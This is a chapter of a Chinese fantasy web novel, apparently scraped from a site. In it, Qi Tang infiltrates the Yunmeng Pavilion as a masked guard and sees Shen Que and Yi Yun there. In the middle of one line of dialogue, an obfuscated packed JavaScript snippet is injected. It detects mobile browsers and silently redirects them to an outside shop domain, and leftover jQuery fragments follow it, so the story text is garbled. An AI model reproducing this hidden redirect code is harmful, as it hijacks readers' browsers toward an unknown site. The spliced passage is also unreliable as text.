35. 潜入
    “你来,叫他们选中你。”

    漆瑭警惕:“我凭什么相信你。”

    老者分毫未动,竟然隔空摘下了漆瑭身上的影踪印记,将其丢到了不远处一棵老槐树上。然后挺直了腰板,做出一个仙风道骨的背影,像是在说“这招厉害否,这下看你信不信”。

    不得不承认,此人能如此云淡风轻地转移易昀留下的影踪印记,足见实力。

    漆瑭觉得自己跑不掉,那只能上了,不过——

    “那影踪印记于我有用,能不能还给我?”

    老者的背影僵硬了一下,结结巴巴道:“这……这……不可逆,你晓得吧?”

    漆瑭:“……”

    罢了,虽然没有影踪印记在身,易昀不能时刻察觉她的位置变动,但若有危机,他仍能催动心契找到她。

    “行,我的确感兴趣,不过你得告诉我,他们究竟要选什么样的人?”

    漆瑭听到耳边传来这样一句话——

    “你可听说过,天门教?”

    ……

    木桌后锦衣华袍的女子,百无聊赖地转着手里的念珠。她打了个呵欠,眯缝着眼扫过地上的每一个人,眼底漾出轻蔑。

    这一批不成,没有好苗子。

    她不耐地将念珠串从左手甩到右手,准备喊停,就在这时,人群外忽然走来了一个女子。

    鲛纱长裙交襟于前胸,丝滑柔顺,走起路来裙摆甚至勾勒出风的形状。她挽着复古繁复的流云髻,上面仅点缀着一支玉簪。不施粉黛,眉目清丽,浅笑着凑到近前。

    她说:“我倒是觉得你们想得太复杂了,既然身负任务,那究竟要怎么做,还得问上面啊!咱们最该做的,不是越俎代庖思索怎么解决,而是毫无保留地全盘托出并执行指令。”

    有人嗤笑,“你这家伙半途插嘴,其实还没搞明白问题为何……”

    然而他话说一半,就被念珠串甩到桌上的刺耳声打断了。

    桌后的女子说:“行,就你了,过来登记。”

    ……

    那场“面试”只是第一关,过了之后还有面对面的问答筛选环节。

    漆瑭根据老者变幻在她袖袋里的记录石,登记了自己的新身份——云梦城人士,姓沈名玉,商人世家,一年前被仇家灭门,只有游学在外的她逃过一劫,遂隐姓埋名藏匿于雾城。

    “云梦城到底还是我的家,若是能有幸得到云梦阁庇护,我也就不必像老鼠似的躲躲藏藏、漂泊异乡。”

    ——据老者所说,天门教如今改名为圣山教,暗中操控云梦城的势力集团云梦阁。

    “行吧。”女子倨傲地点点头,“你看起来也不急着回家,漂泊在外还能混上鲛纱穿,过得很好?”

    漆瑭很淡定:“这其实是我离家后压箱底的衣裳了,为了今日遴选,特意好好装扮了一身。”

    女子呵呵一笑,转而冷下表情:“你唬我呢?鲛纱固然珍贵,但我也是见过的……你说你离家一年,那最起码这鲛纱上得有个年晕吧,什么也没有,清润明透,分明是才从鲛人窝里打出来不久的。”

    这里头的门道漆瑭也是第一次听说,但她丝毫不慌,想了想,笑道:“是,还是您慧眼识珠,这鲛纱如此珍贵,留在我这不识货的俗人这里确实暴餮天物。倒不知您可愿屈尊收下?”

    “你倒是个懂事的。”女子这才露出一个笑,“行了,换上金蝉卫服,随我们走吧,记住了,别乱说话。”

    **

    云梦城与雾城毗邻,漆瑭随那女子坐上风灵马车,拐出雾城后再穿越一小片原野,不消一会就进了云梦城。

    漆瑭低眉顺眼地看着发到她手里的“小册子”,字字句句都拐弯抹角地描述云梦阁势力之大,在云梦城是说一不二的存在,由金蝉卫负责维护城内治安。

    可是,半个字也没提到老者口中的“圣山教”。

    也许是因为她现在还只是个新员工,边缘人员,还不能接触到云梦阁的核心。

    但也有可能,是老者诓骗她……漆瑭从不吝啬于把人往最坏的方面想。

    老者说如渊剑的剑灵被封印在了剑鞘里,沉睡千年,而那剑鞘就在云梦阁里——在金蝉像的底下。

    连所在地都这么精准地指出来了。

    她想,可以去探一探。

    下车后,漆瑭眨眨眼,有些不敢相信眼前看到的一切——

    满地浮云,浮云如海,不知其深。云海上来来往往各色尖头小船,竟如行驶在水面上一般漫游在云面上。

    她跟着女子登上了一艘尖头木船,船身绘着古怪的金蝉纹,与她身上金灿灿的“金蝉卫服”的纹路相同。

    木船行在云海中,经行处荡起乳白色的云丝波澜,轻柔、飘渺、好不真实。漆瑭发现,越接近云海,越能感觉到身上循环流动的灵力被抑制。

    这是什么鬼东西?

    木船最终停在一座金碧辉煌的庞大建筑前,漆瑭跟在女子身后拾阶而上。白玉台阶光滑细腻,漆瑭数了,一共五十五阶。

    门的左右两边各立一爿一人高的玉石,左边刻着“不识黄泉酒”,右边刻“枉为轮回客”。大门上方则挂着一个刻着“云梦阁”的牌匾。

    这座建筑似乎设了结界,在门外时耳边寂静的只有脚步声,然而一踏入门内,鼎沸的人声与乐声灌入耳中。

    比漆瑭逛的城南集市还要闹哄哄。

    建筑内部呈“回”字结构,中心掏空,四周供人落座。

    仰头看上去,高耸的天花板仿佛直通云霄,最惹眼的是迎面看到的,最中央的一座白玉神像。

    怎么看也是一个人,并非什么金蝉像。

    莫非老者说的不是这个?

    阳光透过天窗洒下,无数鲜艳的丝带从天花板直直垂到地板,伴随着洒落的芬芳花瓣,许多衣袂飘飘的俊男美女以丝带为着力点,轻盈曼舞。

    他们手里的酒壶形状奇特,壶嘴细如人指,有半人高那么长。身躯飘来飘去,手里的酒壶信手倾倒,透明的酒液就能分毫不差地落在四面八方、楼上楼下的看客酒杯里。

    漆瑭被这堪称奢靡的一幕闪了眼。

    在一层的某个房间内进行了正式登记后,女子递给她一个金色面罩:“你挤点血上去,就算正式认领了。”

    漆瑭依言照做。

    一滴血珠滴在面罩上,那看起来平平无奇甚至还有点土的面罩,忽然亮了一下,戴到她头上后,面罩竟开始萦绕着淡淡的光晕。

    女子似乎任务完成,只接引她到这里,换了一个头戴金面罩,身穿金蝉卫服的人接引她。

    “行了,认主了,你戴好,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14028218|143077||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    跟我来。”声音雌雄莫辨。

    漆瑭看着金蝉卫同样萦绕光晕的面罩,试探地说了一句:“是。”

    果不其然,也是雌雄莫辨的声音。

    这一套装束模糊了每个人的自身特质,使他们更接近于一个冷冰冰的“金蝉卫”符号。

    漆瑭被安排在一层大堂的某个角落里——站岗。

    “子时,替班,好好干。”金蝉卫说罢,只留了她一人在这。

    除了这个角落,大堂里还均匀分布着众多站岗金蝉卫。

    事情目前的进展还算顺利,只是……那金蝉像在何处?还有,她该怎么从这里面偷出去?

    仔细地扫视目之所及的边边角角,并不存在什么金蝉像,怎么看,这都是一个供人放纵享乐的宴场。

    急不得,她现在需要熟悉一下环境,等待时机。

    琴瑟之声绕梁,欢呼声、喝彩声此起彼伏,在那攒动的人群里,漆瑭忽然瞥见一个熟悉的身影——

    沈确?!

    她没有看错,就是沈确……沈确为何会出现在这里,巧合吗?

    少年才从大门走进来,但他显然对这喧闹场合很熟悉。红衣张扬,笑意盈盈,身上没有了昔日在云茴面前那股有些“用力”的傻气,反而显得整个人清爽潇洒不少。

    也有些……陌生。

    气质变化太大,简直像换了一个人似的。

    他脚步轻快地走到边缘处,在桌上信手拈起一只酒杯,举到前方,便有仙子飘来给他斟了一杯酒。

    沈确仰头喝尽,隐约听到他赞道:“不愧是黄泉酒,真真是教人醉生梦死的滋味。”

    面容俊俏的少年,玩世不恭的话,惹得周围不少女子窃窃笑他。

    那挂在丝带上的仙子也笑,弹指飞出一朵红色牡丹,飘到他面前。

    少年双手捧下,调笑道:“多谢姐姐赠花,牡丹艳丽无双,当真是好花随主人。”

    于是又惹得一片笑声。

    人都有两面性,漆瑭并不惊讶于沈确的改变,只是好奇他与云梦阁是不是有什么牵连……毕竟从前,他说过自己是第一次来紫府州,天南地北收破烂、转卖破烂。

    也许是她盯着太久了,沈确敏锐地看向她的方向,但他显然发现不了什么,于是搁下酒杯,就在漆瑭的注视下自一旁的木梯走上楼了。

    消失了。

    漆瑭心里冒出诸多猜测,但她从未想过在摸清楚沈确的底细前,主动表明身份争取合作。

    她知道自己要做的事见不得人。

    沈确离开后不久,那木梯又下来了几个人。

    漆瑭本以为又是这来来往往的客官罢了,熟料竟是四五个金蝉卫。

    他们看起来是开道的,下来后分站木梯两侧,等待着身后的大人物。

    漆瑭好奇地把目光投过去。

    最先跳下来的是一个衣着粉衣的男子,身形格外纤薄,手里摇着一把桃花扇。

    然后是——

    易昀?!

    他消失了两天,敢情是跑这里来潇洒了?恶蜮不管了吗?

    漆瑭在看清他的瞬间匆忙收回目光,生怕他像沈确一样敏锐地捕捉到她的注视。

    没必要与他在这里相认吧,她要做的事也没必要叫他参与……还有,她现在莫名的不想叫住他。